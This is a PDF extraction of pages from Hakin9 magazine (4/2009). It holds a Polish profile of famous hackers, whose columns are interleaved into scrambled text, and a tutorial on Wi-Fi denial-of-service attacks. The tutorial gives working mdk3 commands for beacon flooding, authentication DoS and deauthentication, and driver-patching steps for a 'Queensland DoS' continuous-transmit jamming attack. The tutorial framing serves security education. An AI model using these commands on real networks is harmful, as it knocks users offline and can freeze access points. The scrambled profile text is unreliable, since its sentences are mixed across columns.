kiedy światowe media rozpoczęły Kalifornii. Tam przeglądają zastrzeżone Equipment w Massachussets. Celem
kampanię kreowania jego wizerunku. konta i pr ywatną korespondencję był kod źródłowy systemu operacyjnego
Próbowano stworzyć postać, której w elektroniczną oraz przemierzają sieć VMS. Operacja ta uważana jest
rzeczywistości nie ma, czyli najlepszego za darmo. Zdarzenie to zakończyło się powszechnie za idealny przykład
z najlepszych. Oczywiście nie można osadzeniem włamywacza w więzieniu hakerskiego majstersztyku. Niejeden
mu odmówić niecodziennych zdolności dla młodocianych w Stockton na okres reżyser filmowy wykorzystał ten motyw.
i potężnej wiedzy, jednak podobnych sześciu miesięcy. Nie doszłoby do tego, Hakerzy musieli być bardzo ostrożni.
rzeczy mogłoby dokonać wielu innych, jednak Kevin Mitnick otrzymał wcześniej Mitnick pracował jednocześnie na
mniej znanych lub ukr ywających się wyrok w zawieszeniu. Włamanie do dwóch komputerach. Pierwszy służył
hakerów. Ponieważ jednak w Internecie, systemów uczelni zostało uznane za do włamywania się, natomiast drugi
jak i w prasie oraz telewizji w ostatnim złamanie warunków dozoru. To właśnie do jednoczesnego zacierania śladów
dziesięcioleciu zainteresowanie tam psycholodzy określają Mitnicka obecności i zmylenia pościgu. Choć
hakingiem niezwykle wzrosło, niezbędna jako aspołecznego i nieagresywnego. udało się dostać do wewnętrznej
była postać, z której można by czerpać Ponadto stwierdzono – mylnie, jak się sieci, akcja kończy się jednak
wzorce. Nie chodziło jednak o czyny okaże w niedalekiej przyszłości – że ten niepowodzeniem. Ale czy całkowitym?
Mitnicka, ale o jego zapał, umiejętności i młody człowiek ma niewielką zdolność Jak widać z dalszego życior ysu tego
charakter ystyczny dla niego głód wiedzy. przewidywania i osądzania, natomiast zuchwałego hakera – nie. Dzięki niej
Kiedy 6 sierpnia 1963 roku rodził się psychicznie jest z całą pewnością nabrał pewności siebie i wiar y we
pewien chłopiec, nikomu nie przyszło niedojrzały. W 1985 roku Mitnick własne umiejętności. Po zakończeniu
na myśl, że trzydzieści lat później będzie zapisuje się na kurs komputerowy przymusowej terapii, wyznaczonej przez
on oskarżony o ponad dwadzieścia w renomowanej szkole technicznej. sąd (zabroniono mu dotykać klawiatur y
poważnych przestępstw. Jak do tego Niestety, kontakt ze znajomymi z gangu, komputerowej i telefonicznej), w 1990
doszło? Czy to nierozumiana przez innych do którego wcześniej należał, wpędził roku Mitnick zatrudnia się w firmie
pasja doprowadziła do takiej sytuacji? go w kolejne kłopoty. Tym razem, udając detektywistycznej TelTec. I tym razem nie
Być może tak. A jeżeli to właśnie ona, to pracownika technicznego, dostaje się udało się zapomnieć o hakerskim życiu.
co było przyczyną tego, że chłopiec ten do budynku Narodowego Centrum Po raz kolejny posądzono go o włamanie
poświęcił dużą część swojego życia dla Bezpieczeństwa Komputerowego i został zmuszony do ukr ywania się.
komputerów? Oczywiście za wszystko (NCSC). Zdobywa hasło i dostęp do Kevin Mitnick zrozumiał, że jego życie
można obwiniać dzieciństwo, od którego systemu. Kevin Mitnick, mając za sobą nierozerwalnie związane zostało z tzw.
wszystko się zaczęło. Kevin jeszcze jako spor y bagaż doświadczenia, postanawia undergroundem i jedynie wśród takich
uczeń był osobą otyłą, odtrącaną przez jednak znaleźć legalną pracę w jednej jak on ma szansę przetrwać.
rówieśników, co z kolei sprawiło, że coraz z powstających firm komputerowych. Niedługo po tym zdarzeniu rozpoczął
bardziej zamykał się w sobie. Stopniowo Pomimo swoich umiejętności odnosi się najsłynniejszy pojedynek hakerów
stał się nastoletnim samotnikiem. O klęskę. Nie przewidział bowiem, że w dziejach informatyki. Głównymi
dziwo, pocieszeniem nie były dla niego pracodawcy traktują hakerów jak bohaterami byli oczywiście Kevin
komputery. W 1978 roku wstąpił do gangu najgroźniejszych kr yminalistów. W Mitnick i Tsutomu Shimomura. Trudno
skupiającego phreakerów. To właśnie obawie o dane własnych firm, wszystkie określić, co było jego przyczyną.
oni sprawili, że poczuł się akceptowany podania są kolejno odrzucane. Dla Prawdopodobnie uznanie byłego
i rozumiany. Razem z kolegami Mitnick Mitnicka oznacza to jedno – aby przeżyć, hakera, któr y przeszedł na stronę władz
poznaje arkana zakazanego, podziemnego musi powrócić do tego, w czym jest – Shimomur y – najlepszym ekspertem
świata. W bardzo krótkim czasie opanował najlepszy – do włamań komputerowych. w dziedzinie zabezpieczeń. Niektórzy
umiejętności pozwalające na darmowe Tego samego roku uzyskuje dostęp dopatr ywali się w nim w pewnym
rozmowy telefoniczne z całym światem, do firmy Santa Cruz Operation (SCO). sensie szer yfa odpowiedzialnego za
podsłuchiwanie rozmów telefonicznych, Wywołało to panikę wśród zarządu firmy, pilnowanie ładu i porządku w Sieci.
a nawet ingerencję w rachunki próbowano pójść na ugodę w zamian Niemożliwym jest rozsądzenie wyższości
poszczególnych osób. za ujawnienie metody włamania. Kiedy jednego lub drugiego specjalisty.
Choć edukacja Mitnicka miała raczej jednak nic z tego nie wyszło, sprawa Warto jednak podkreślić, że wiedza

4/2009 HAKIN9 19
POCZATKI
Mitnicka (o czym doskonale wiedział) w momencie, kiedy dowiedział się, łatwo ulegał wpływom, zwłaszcza
nie była skromniejsza niż Shimomur y. jaka kara spotka go za dokonane osób o podobnych zainteresowaniach.
Jednocześnie drażniło go, że musi się przestępstwa: Komputery to moje życie, Zaczął włamywać się do laboratoriów
ukr ywać, podczas gdy jego r ywal podbija nie mogę bez nich przetrwać! . Dla 24- komputerowych, jednak nie przez sieć,
serca administratorów i właścicieli firm letniego młodzieńca groźba pozbawienia ale w rzeczywistości. Wszystko po to,
komputerowych. Mitnick postanowił wolności na okres pięciu lat i dodatkowo aby choćby przez chwilę móc pograć
udowodnić swoje umiejętności. W trzyletni zakaz korzystania z komputera, w najnowsze, niepublikowane wersje
1994 roku do komputera w Centrum była na tyle okrutna, że zażył około stu gier komputerowych lub obejrzeć
Superkomputerów w San Diego włamał tabletek nasennych. Próba samobójcza nowoczesny sprzęt. Częstym celem
się nieznany sprawca. Okazało się, że nie udała się, Lamprecht został w porę jego odwiedzin były laboratoria firmy
atak wymierzony był w konkretnego odratowany. Skazano go w 1995 roku, telekomunikacyjnej Southwestern Bell.
użytkownika. Jak łatwo się domyślić, był lecz – jak się wszyscy dziwili – nie za Niedojrzałe podejście tego hakera do
nim Tsutomu Shimomura. przestępstwa komputerowe, ale sprzedaż życia było jedną z głównych przyczyn
Na koncie mailowym znajdowała części elektronicznych do central jego późniejszego aresztowania.
się wiadomość z nagraniem, w któr ym telekomunikacyjnych. Kiedy Lamprecht poznał Jasona
zmodulowany głos prowokował Tsutomu Początków karier y hakerskiej Copsona (pseudonim Scott Berr y),
do podjęcia działań. Policzek był Lamprechta często upatruje się we stał się on jego autor ytetem. Traktował
tym dotkliwszy, że osoba z zewnątrz wczesnej młodości. Przekonanie to budzi go niemalże jak starszego brata – to
dostała się do danych znajdujących jednak pewne kontrowersje. Przede właśnie od Copsona uczył się technik
się na komputerze, nad któr ym wszystkim trudno dopatr ywać się hakingu i poznał jego arkana. Wraz z
pieczę sprawował najlepszy ekspert czegokolwiek związanego z hakingiem Davidem Querinem i Mikem Daileyem
w Stanach Zjednoczonych. Oprócz w zwyczajnym zainteresowaniu hakerzy okradali centrale telefoniczne i
nagrania Kevin Mitnick skopiował cenne komputerami, elektroniką i nowinkami ze handlowali częściami elektronicznymi.
dane z dysku twardego Shimomur y, świata techniki. Mieszkając w mieście W 1992 roku aresztowano Lamprechta
wśród któr ych znajdowały się projekty – Austin – w któr ym swoje siedziby mają i Copsona. Przed oblicze sądu
tworzone na zamówienie, np. program takie korporacje, jak IBM, AMD, Dell czy Christopher trafiał jeszcze parokrotnie,
Berkley Packet Filter służący do Motorola, rzeczą całkowicie normalną jednak nałożona na niego w 1994 roku
prowadzenia komputerowej obserwacji jest chęć zgłębienia swojej wiedzy z kara – zakaz dostępu do Internetu – była
(zleceniodawcą była Narodowa Agencja zakresu informatyki. Należy pamiętać, kr ytykowana przez zadziwiająco dużą
Bezpieczeństwa USA). Pierwsze starcie że Christopher Lamprecht zaczynał jako część opinii publicznej. Uważano, że
wygrał Mitnick. Błędem Shimomur y handlarz podzespołami elektronicznymi. posunięcie takie powoduje zacofanie
było zbagatelizowanie tej sprawy. Dla niego była to alternatywa od trudów wśród więźniów i należy się go
Zabezpieczył jedynie swój system. codziennego życia w rozbitej rodzinie. wystrzegać. Sąd jednak nie zmienił ani
Dopiero 27 stycznia 1995 roku Dopiero kiedy odkr ył świat komputerów, nie uchylił wyroku.
przypadek sprawił, że Tsutomu ponownie oczarowała go magia cyberprzestrzeni. Choć wydawałoby się, że haker jest
zainteresował się r ywalem. Rutynowa Pierwszym przejawem zdolności osobą raczej pochmurną, zapatrzoną w
kontrola systemu w firmie WELL hakerskich było włamanie się do ekran komputera, w rzeczywistości jest
– amer ykańskiego dostawcy Internetu – szkolnego systemu i próba zmiany ocen. zupełnie inaczej. Są to zdecydowanie
wykazała, że na jednym z nieużywanych Zadania tego typu jeszcze przerastały ludzie z poczuciem humoru. Doskonałym
kont znajdują się tysiące nowych plików, Lamprechta, wskutek czego zajął się dowodem tego jest Kevin Poulsen,
a wśród nich skradzione wcześniej rozprowadzaniem nielegalnych kopii uznawany w swoich kręgach za osobę
projekty Shimomur y i dwadzieścia gier komputerowych. Nie wystarczyło silnie nacechowaną pogoda ducha.
tysięcy numerów kart kredytowych to jednak młodemu Christopherowi. Często określano go jako 24-godzinnego
wykradzionych firmie NetCom. Na Postanowił spróbować sił w modnym hakera, co miało odzwierciedlać
miejsce zostaje wezwany ich prawowity wówczas phreakingu. Dzięki wiedzy, jego zamiłowanie do komputerów.
właściciel. Od tego momentu prior ytetem którą udało mu się w bardzo krótkim Poulsen dysponował ogromną wiedzą
dla Tsutomu było schwytanie Mitnicka czasie opanować do perfekcji, mógł i umiejętnościami, co w odniesieniu
i udowodnienie dzięki temu swojej wraz z siostrą dzwonić bez ograniczeń do administratorów czyniło z niego
wyższości. Po trwającej kilka dni walce po całym świecie. Aby ułatwić sobie przeciwnika prawie doskonałego.
w cyfrowym świecie dopiął swego. 16 zadanie, napisał doskonały jak na owe Pozwalała na to praca asystenta
lutego 1995 roku odbyła się rozprawa, czasy – jeden z najbardziej znanych programisty. Do obowiązków Poulsena
która zakończyła karierę Kevina Mitnicka – program o nazwie ToneLoc. Był to należało włamywanie się do systemów
– ale media o nim nie zapomniały. jeden z tzw. war-dialerów, służących do Pentagonu w celu przetestowania ich
Każdego hakera najlepiej sprawdzania możliwości połączenia zabezpieczeń. Inaczej jednak wyglądało
określają słowa Christophera się z innym modemem. Problem nocne życie hakera. Wykorzystując
Matthew Lamprechta, wypowiedziane Lamprechta polegał na tym, że zbyt doświadczenie zdobyte między innymi

20 HAKIN9 4/2009
JESTEM CZĘŚCIĄ CYFROWEJ RZECZYWISTOŚCI!

w pracy, włamywał się do komputerów jednym z największych włamywaczy Podsumowanie


wojskowych, podsłuchiwał rozmowy komputerowych? We wszystkim Cyberprzestrzeń rządzi się własnymi
znanych ludzi i przeglądał akta z procesu zawiniło jego nietypowe zamiłowanie prawami. Możemy jednak dostrzec
prowadzonego przez FBI w sprawie do wykr ywania wszelkich błędów i pewne podobieństwa z realnym światem.
byłego prezydenta Filipin – Ferdinanda niedociągnięć systemów operacyjnych. Haker jest obywatelem tej przestrzeni.
Marcosa. Pierwszy raz skazano Kevina Postanowił napisać program, dzięki Jest rodzajem buntownika, który pragnie
Poulsena w 1989 roku – za oszustwa, któremu będzie miał możliwość choćby zrozumieć istniejące prawa, nieustannie
włamania do systemów telefonicznych i częściowego zautomatyzowania swojej dąży do wiedzy. Najbardziej atrakcyjna
wyłudzenia. To jednak nie wszystko. Jego pracy. Nie wiedział jeszcze wtedy, że wydaje mu się informacja utajniona,
nadmierna ciekawość doprowadziła do będzie to jedna z najdotkliwszych gdyż uważa on, że wiedza powinna być
postawienia mu najważniejszego zarzutu bolączek użytkowników Internetu dostępna dla każdego. Podstawową
– o szpiegostwo. Podstawą do takiego – tzw. robak. Pisanie kodu zakończył w bronią hakerów nie są karabiny, bomby czy
oskarżenia było włamanie do systemów 1988 roku. Chociaż program składał granaty. Ich bronią jest wiedza i niezwykła
wojskowych i przechwycenie planów się zaledwie ze stu linii kodu, okazał sprawność intelektualna. Potrafią bez
bojowych amer ykańskich sił lotniczych. się niezwykle skuteczny w swoim problemu rozwiązywać rozmaite zagadki
Zachowując dwa dokumenty, resztę działaniu. Chcąc przetestować dzieło, i tajemnice, ponieważ niejednokrotnie
zniszczył. To właśnie pozostawione pliki 2 listopada Morris wpuścił robaka spoglądają na nie oczami dziecka, bez
stały się przyczyną całego zamieszania. do sieci, uruchamiając go z jednego podtekstów – są tylko oni i problem,
Ukr ywając się przed policją przez 18 z serwerów Uniwersytetu Harvard. który należy rozwiązać. Wyzwanie to
miesięcy, nałogowy haker rozwijał swoje Wystarczyły zaledwie dwie godziny, aby mechanizm napędzający całe życie
umiejętności i pogłębiał wiedzę. uniemożliwić dostanie się do systemów hakerów. Motywacją nie są pieniądze i
Poulsen wpadł na doskonały pomysł, części administratorów. Efektem były bogactwa, bo te są w stanie zdobyć. Jest
jak zarobić ogromne pieniądze, i to tak liczne odłączenia komputerów od nią nieuniknione pragnienie sprawdzenia
prawie uczciwie. Pewna stacja radiowa w sieci, że równowaga Internetu została samego siebie. Ktoś powie, że łamią
Los Angeles emitowała w każdy piątkowy przywrócona dopiero 10 listopada. zabezpieczenia chroniące prywatność. I
poranek program, w któr ym można Zainfekowanych zostało ponad 6 tysięcy będzie miał rację, ale w jaki inny sposób
było wygrać nagrody o dużej wartości, komputerów klasy Sun 3 i VAX. Szkody można takie zabezpieczenia sprawdzić?
np. samochód marki Porsche. Trzeba szacowano nawet na kwotę do 10 Jak je udoskonalić, skoro nie będzie
było jednak spełnić pewien warunek, a milionów dolarów. wiadomo, gdzie są ich słabe punkty? Inna
mianowicie być sto drugą dzwoniącą Czy haking może wiązać się w osoba powie, że to zwyczajni przestępcy,
osobą. Wystarczyło zablokować centrale jakikolwiek sposób z heroizmem? włamujący się do cudzych systemów i
Pacific Bell prowadzące do stacji. Tak Właściwie nie, jednak od każdej reguły kradnący dane. Haker nie kradnie danych,
właśnie zrobił wraz z kolegami Kevin zdarzają się wyjątki. Tak też było w nie kasuje ich. System pozostawia w stanie
Poulsen. Teraz z odpowiedziami mogli przypadku Ehuda Tenebauma. Ten nienaruszonym. W takim razie kim są ci,
dodzwonić się już tylko oni. W ten niezwykle utalentowany osiemnastolatek którzy wyłudzają pieniądze, kradną je z
sposób stali się posiadaczami dwóch cechuje się niecodziennym podejściem kont lub pozyskują w sposób nieuczciwy,
samochodów Porsche 944, wycieczki do włamań komputerowych. Choć wykorzystując w tym celu komputery i
na Hawaje i dużej sumy pieniędzy. większość z nich zakończyła się sieci? Z całą pewnością nie są hakerami, a
Idealna synchronizacja i szczegółowo powodzeniem, nigdy nie kopiował i nie jedynie cyberprzestępcami i złodziejami.
obmyślany plan zaowocował sukcesem. rozpowszechniał zawartości dysków, Biorąc pod uwagę fakt, że haking
FBI określiło Poulsena jako groźnego do któr ych uzyskał dostęp. Większość to dążenie do zdobycia wiedzy, nie
przestępcę, a 10 kwietnia 1995 roku atakowanych serwerów stanowiły wolno zapomnieć o takich osobach,
skazano go na 51 miesięcy pozbawienia serwer y wojskowe. Tenebaum wybierał jak Linus Benedict Torvalds czy Richard
wolności i grzywnę w wysokości 56 je, ponieważ stanowiły dla niego większe Matthew Stallman. Nie łamali oni prawa,
tysięcy dolarów. wyzwanie. To jednak nie wszystko. są wielkimi postaciami, które warto
Wśród elity hakerów trudno znaleźć Wielokrotnie ofiarą młodego hakera naśladować. Nie należy jednak z gór y
osobę podobną do Roberta Morrisa padały serwisy z pornografią dziecięcą, przekreślać ludzi przedstawionych
Tappana i oddaną swojej pasji tak jak rasistowskie i prowadzone przez wcześniej, ponieważ wszystkich ich
on. Wbrew pozorom to postać niewinna. organizacje terror ystyczne. W wieku łączył wspólny cel – wiedza i wolność
Mając dwadzieścia trzy lata jest osiemnastu lat – 1998 rok – Analyzer informacji.
absolwentem studiów doktoranckich na (taki pseudonim nosił Tenebaum)
wydziale informatyki na Uniwersytecie włamał się do komputerów Pentagonu. Łukasz Ciesielski
Autor od lat zajmuje się systemami z rodziny Linuksa,
Cornell. Wcześniej zdobył tytuł magistra Informacja o tym wyczynie obiegła świat
zwłaszcza Debianem i Slackware. W wolnych chwilach
na Uniwersytecie Harvard. Nigdy nie i na stałe wpisała się w historię hakingu, pisze programy w C/C++, Javie, Pythonie, Pascalu (także
z wykorzystaniem bibliotek Qt i GTK). Od kilku lat autor
był karany, nie zajmował się hakingiem. któr y stał się czymś, co moglibyśmy zajmuje się zabezpieczeniami sieci i systemu.
Jak zatem doszło do tego, że stał się nazwać sztuką. Kontakt z autorem: lucas.ciesielski@o2.pl.

4/2009 HAKIN9 21
ATAK
Niekonwencjo
NORBERT KOZŁOWSKI

-nalne ataki
Stopień trudności
Wi-Fi
Niewiele osób zna sposoby na skuteczne zakłócenie działania
całej sieci bezprzewodowej pomimo, że znają pojęcia
typu łamanie klucza WEP, fałszywa autentykacja MAC czy
przechwycenie 4-way handshake.

J
ako główne narzędzie wykorzystamy nazwy programu, należy wywołać jako root , w
aplikację mdk3 stworzoną przez ASPj. postaci:
Używanie jej ułatwia pracę, ponieważ
zaimplementowane zostały w niej gotowe # mdk3 <interfejs> <atak> <parametry ataku>
schematy pakietów 802.11, które w innym
wypadku musielibyśmy tworzyć ręcznie. Jako interfejs należy podać nazwę urządzenia
Oczywiście możemy jej używać tylko po pracującego w trybie RF_MON (analogia trybu
uprzedniej konsultacji z administratorem sieci i promiscuous dla sieci LAN). Aby wprowadzić kartę
otrzymaniem przyzwolenia. w ten tryb, należy wydać następujące polecenia:
Nasz poligon to sieć o SSID Khozzy_
Network , pracująca na 14 kanale. Do sieci # iwconfig <interfejs> mode Monitor
podłączony jest klient. Dla stworzenia
fikcyjnych zabezpieczeń zastosowałem lub dla kart na chipsecie Atheros:
także popularne szyfrowanie WEP. Poniżej
przedstawię składnię programu oraz kilka # airmon-ng stop ath0
przykładowych ataków wraz ze skutkami. Mdk3, # airmon-ng start wifi0
jak widać po wprowadzeniu do konsoli samej
lub:

# wlanconfig ath0 destroy


# wlanconfig ath0 create wlandev wifi0
wlanmode monitor (dla sterowników madwifi)

Poprzez <atak> rozumiemy rodzaj ataku, jaki


Z ARTYKUŁU
chcemy wykonać. Jest to jedna litera, kojarząca
DOWIESZ SIĘ
się z nazwą techniki, np. b dla Beacon Flood
jak w praktyczny sposób
wykorzystać luki bezpieczeństwa Mode lub d dla Deauthentication Mode. Argument
w standardzie 802.11. ten podany jest w ramce opisującej parametry
danego ataku lub też w pomocy, którą możemy
CO POWINIENEŚ
WIEDZIEĆ wywołać, wpisując polecenie:
mieć ogólne pojęcie o zasadzie Rysunek 1. Dostępne sieci, widoczne przy użyciu
działania sieci bezprzewodowej. systemowego narzędzia Windows XP # mdk3 --fullhelp

22 HAKIN9 4/2009
NIEKONWENCJONALNE ATAKI WI-FI

Beacon Flood Mode AP i bardzo ciężko trafić jest na ten jakie będą ich rezultaty na komputerze
Pierwszym sposobem ataku, na któr y właściwy). Twórcy programu ostrzegają, z zainstalowanym Windows XP SP2. W
zwrócimy uwagę, jest Beacon Flood iż takie działanie może zakłócić konsoli wpisujemy:
Mode. Użycie go spowoduje wysłanie w wskazania programów monitorujących
eter fałszywych ramek typu beacon w zachowanie sieci oraz nawet uszkodzić # mdk3 ath1 b -w -c 4
celu rozgłoszenia obecności fikcyjnych sterowniki sprzętu. Atak możemy
punktów dostępowych. W praktyce atak wykonać z użyciem kilku parametrów, Na komputerze ofiary pojawia się bałagan.
stosowany jest, by uniemożliwić STA dzięki któr ym dostosujemy nasz fałszywy Szukając dostępnych, sieci zarówno
przyłączenie się do właściwego AP AP do wymaganej sytuacji. Wykonajmy standardowym narzędziem systemowym,
(tworzona jest ogromna ilość fikcyjnych więc niezbędne polecenia i zobaczmy, jak i NetworkStumblerem, otrzymujemy

Ramki 802.11
Standard IEE 802.11 zdefiniował szereg ramek używanych w pakietach w celu usprawnienia komunikacji między poszczególnymi stacjami
sieci. Każda ramka posiada kilka pól określających warunki panujące w sieci (np. wersja używanego protokołu, aktywne zabezpieczenia WEP),
dodatkowo w każdej w jawny sposób przedstawiony jest adres MAC celu, źródła oraz punktu dostępowego. Ramki zostały podzielone na kilka
podtypów:

* Authentication frame
Wymiana tych pakietów ma miejsce, gdy do Access Pointa (AP) zostaje podłączona nowa stacja robocza (STA). W razie braku szyfrowania STA wysyła
jeden pakiet Authentication, na który generowana jest automatycznie jedna odpowiedź (akceptacja bądź odrzucenie) AP. W razie stosowania szyfrowania
WEP, AP odpowiada z użyciem zaszyfrowanego tekstu i oczekuje na prawidłowo zinterpretowaną odpowiedź STA. Gdy ją otrzyma, oznacza to pomyślne
przeprowadzenie procesu uwierzytelnienia.

* Deauthentication frame
Pakiet Deauthentication wysyłany jest przez STA w celu zakończenia aktualnego połączenia.

* Association Request frame


STA rozpoczyna proces asocjacji, wysyłając pakiet Association Request zawierający informacje o stacji (np. SSID, adres MAC) do AP. Ten, po ich
przeanalizowaniu, może zezwolić (lub nie – np. w przypadku filtrowania adresów MAC) na pełne przyłączenie do sieci.

* Association Response frame


AP po pozytywnej weryfikacji STA ubiegającej się o dostęp do sieci przesyła pakiet Association Response, zawierający informacje potrzebne do
nawiązania połączenia oraz przydziela STA unikalny numer ID. W razie odmowy, STA nie zostaje przyznany dostęp do sieci.

* Reassociation Request frame


Gdy STA zlokalizuje AP o wyższej sile sygnału, automatycznie wyśle pakiet (Reassociation Request) proszący o ponowne przyłączenie do silniejszego
nadajnika w celu poprawienia jakości przesyłania danych.

* Reassociation Response frame


Podobnie jak w przypadku Association Response, nowy AP może zaakceptować i udzielić dostępu do sieci lub odrzucić połączenie.

* Disassociation frame
Pakiet Disassociation wysyłany jest przez STA do innych STA lub AP i informuje o przerwaniu połączenia z siecią. Gdy komputer jest wyłączany, tego
rodzaju pakiety są transmitowane do AP, który zwalnia miejsce w pamięci oraz aktualizuje dane o bieżących połączeniach.

* Beacon frame
Co 100 milisekund AP rozgłasza swoją obecność w eterze poprzez wysyłanie tzw. Beacon frames. Zawierają one informacje niezbędne do
przeprowadzenia procesu uwierzytelnienia i asocjacji oraz pozwalają określić zasięg działania sieci.

* Probe Request frame


STA wysyła prośby Probe do innego STA lub AP w celu uzyskania informacji takich jak np. dane o obecności AP.

* Probe Response frame


STA wysyła odpowiedź na prośbę Probe zawierającą dane (m.in. prędkość, kompatybilność) potrzebne do uzyskania połączenia z siecią znajdującą się w
zasięgu.

4/2009 HAKIN9 23
ATAK
wyniki podobne do pokazanych na nad połączeniami przenoszonymi w w swoim zasięgu. Oczywiście atak
Rysunkach 1 oraz 2. powietrzu i możemy decydować o tym, wysyła podrobione przez nas ramki
Nazwy SSID wybierane były losowo, kiedy je zakończyć. Deauthentication Deauthentication.
więc bez problemu można dostrzec Mode może wyrzucić z sieci wszystko Ramka Parametry Deauthentication
właściwą nazwę (Khozzy_Network), teraz
jednak skomplikujemy nieco sytuację:

# mdk3 ath1 b -n "Khozzy_Network" -w


-c 4

Windows nie wie, który AP jest poprawny


i odmawia połączenia (Rysunki 3 i 4). Cel
zostaje osiągnięty.

Authentication DoS Mode


Drugi atak polega na przyłączeniu do
AP bardzo dużej ilości STA poprzez
wysyłanie ramek Authentication. Atak ten
może zamrozić lub uszkodzić niektóre
AP. Opcje, z jakimi możemy go wywołać,
są zaprezentowane w ramce Parametry
Authentication DoS Mode (a). Zobaczmy,
jak wygląda sytuacja przed, w trakcie i
po ataku. W tym celu użyjemy aplikacji Rysunek 2. Dostępne sieci, widoczne przy użyciu aplikacji NetworkStumbler
airodump-ng, aby na bieżąco śledzić
zachowanie klientów korzystających z
sieci.

# airodump-ng -c 4 --bssid 00:04:ED:


78:C7:6A ath1

Jak widać, na Rysunku 5, do AP


przyłączony jest tylko jeden klient o adresie
MAC 00:11:95:68:5C:90. Wykonajmy atak,
wpisując poniższe polecenie w drugiej
konsoli, i zobaczmy, jak wpłynie ono na
okno programu.
# mdk3 ath1 a -a 00:04:ED:78:
C7:6A
Access Point musi utrzymywać połączenie
z rosnącą z każdą chwilą liczbą fałszywych
klientów (Rysunki 6 oraz 7). Po pewnym czasie
skutkuje to zawieszeniem się AP.

Deauthentication Mode
Mój ulubiony atak. Nie sposób mu
zapobiec. Mamy całkowitą kontrolę Rysunek 3. NetworkStumbler widzi dużą liczbę sieci o tym samym identyfikatorze

Parametry Deauthentication Mode (d)


• -w <plik> – biała lista adresów MAC STA, które nie będą atakowane,
• -b <plik> – czarna lista MAC, te adresy mdk3 atakuje,
• -s <pps> – liczba pakietów przesyłanych w czasie jednej sekundy,
• -c <kanał> – praca na określonym kanale (zwiększa efektywność ataku), jeśli kanał nie jest określony, program przeskakuje przez wszystkie
możliwe kanały pracy karty sieciowej.

24 HAKIN9 4/2009
NIEKONWENCJONALNE ATAKI WI-FI

Mode (d) wskazuje, w jaki sposób można


konfigurować atak.

# mdk3 ath1 d

W mojej testowej sieci znajduje się jeden


bezprzewodowy klient. Po wykonaniu ataku
momentalnie zostaje od niej odłączony.
Atak jest domyślnie cały czas wykonywany,
ponieważ STA po rozłączeniu będzie
próbowała ponownie łączyć się z AP
(Rysunek 8).

Secret Destruction Mode


Na zagranicznych forach poświęconych
bezpieczeństwu sieci bezprzewodowych
możemy się spotkać z określeniem Secret
Destruction Mode.
Jest to połączenie wyżej
wymienionych ataków, czyli kombinacja
złożona z:

• ataku Beacon Flood, generującego


fałszywe AP z podrobionym SSID-em,
• ataku Authentication DoS,
wymierzonemu przeciw prawdziwemu Rysunek 5. Sieć Khozzy_Network z jednym przyłączonym klientem
AP (z opcją -i), który spowoduje, że
serwer może być zbyt obciążony
odpowiedziami do fałszywych klientów,
aby obsłużyć żądanie prawdziwego
użytkownika,
• ataku Deauthentication, powodujący
odcięcie od sieci tych, którzy zdążyli się
jakimś cudem połączyć z prawdziwym
AP.

Rysunek 4. System Windows odmawia


połączenia się z docelową siecią po
wykonaniu ataku Rysunek 6. Atakt Authentication DoS Mode

Parametry Authentication DoS Mode (a)


• -a <ap_mac> – adres MAC AP ofiary, w przypadku niesprecyzowania go zaatakowane zostaną wszystkie AP w zasięgu,
• -c – nie sprawdza powodzenia ataku,
• -i <ap _ mac> – inteligentny test (opcje -a i -c są ignorowane). Różni się tym, iż fałszywe STA są cały czas podłączone do AP poprzez
wysyłanie pakietów podtrzymujących połączenie,
• -s <pps> – określa liczbę pakietów przesyłanych w czasie jednej sekundy.

4/2009 HAKIN9 25
ATAK
Sekwencja działająca przez kilkanaście klientów, powoduje zamęt w niektórych Ciekawym efektem było całkowite
minut, pomimo dezaktywacji wszystkich systemach wykrywania intruzów. zamrożenie AP (brak reakcji na przycisk
reset na obudowie urządzenia!). Jedynym
sposobem przywrócenia pierwotnego
stanu działania było wyjęcie wtyczki z
gniazdka i oczekiwanie na zaprzestanie
ataku przez intruza.

Queensland DoS
Prawdopodobnie najbardziej niszczycielski
atak na sieci bezprzewodowe. Jeżeli
karta zostanie wprowadzona w tryb
ciągłej transmisji na danym kanale
(ang. continuous transmit mode), cały
ruch zostanie wstrzymany. Klienci będą
zmuszeni zresetować swoje połączenia lub
komputery.

Wykonanie ataku na
kartach z chipsetem Atheros:

• Pobranie źródeł madwifi-dfs


Rysunek 7. Fałszywe STA zostały przyłączone do AP dzięki atakowi Authentication DoS
# svn checkout http://svn.madwifi.org/
branches/madwifi-dfs/

• Modyfikacja pliku if_ath_radar.c

# nano madwifi-dfs/ath/if_ath_radar.c

Z lini 152 usuwamy 'inline' z prototypu


funkcji interval _ to _ frequency. Z lini

W Sieci
• http://www.networld.pl/news/91312/Nowy
.standard.bezpiecznej.komunikacji.bezpr
zewodowej.html – zapowiedź standardu
802.11w,
• http://www.networkworld.com/
columnists/2006/052906-wireless-
security.html – oficjalna strona
standardu 802.11w,
• http://pl.wikipedia.org/wiki/802.11
– informacje o standardach 802.11.
Rysunek 8. Proces rozłączania STA od AP. Atak Deauthentication

Parametry Beacon Flood Mode (b)


• -n <ssid> – określa identyfikator spoofowanej sieci (w przeciwnym wypadku użyte zostaną losowe znaki),
• -f <plik> – określa plik z zapisanymi SSID umożliwiającymi podszywanie się pod sieć,
• -d – sieć rozgłasza się jako Ad-hoc,
• -w – sieć rozgłasza się jako szyfrowana kluczem WEP,
• -t – jak wyżej, tylko WPA TKIP,
• -a – jak wyżej, tylko WPA AES,
• -h – sieci pracują na różnych kanałach,
• -c <kanał> – określony kanał pracy,
• -s <pps> – określa ile pakietów zostanie wysłane w ciągu sekundy.

26 HAKIN9 4/2009
NIEKONWENCJONALNE ATAKI WI-FI

851 usuwany 'inline' z deklaracji funkcji interval _ to _


frequency.

• Kompilacja i instalacja

# make && make install

• Uruchomienie karty

# ifconfig ath0 up

• Ustawienie wymaganego kanału pracy

# iwconfig ath0 channel 6

• Uruchomienie trybu ciągłego nadawania

# iwpriv ath0 txcont 1

• Zatrzymanie trybu ciągłego nadawania

# iwpriv ath0 txcont 0

Wykonanie ataku na kartach z chipsetem Prism:


Atak może być wykonany z użyciem graficznego interfejsu
aplikacji Win32 – Prism Test Utility. Wystarczy tylko wybrać
odpowiedni interfejs i nacisnąć przycisk Continuous Tx. Aby
zdobyć wspomnianą aplikację, należy przeszukać sieć pod
kątem pliku PrismTestUtil322. Prawidłowe sumy kontrolne dla
rozszerzenia .zip to:

a7c04ff2783f94e1f60dc45425b926d0

a dla .exe :

0088fd7f41dc972935bb7bb6d546b8de .

Podsumowanie
Artykuł ukazuje, jak niedopracowany jest obecny standard
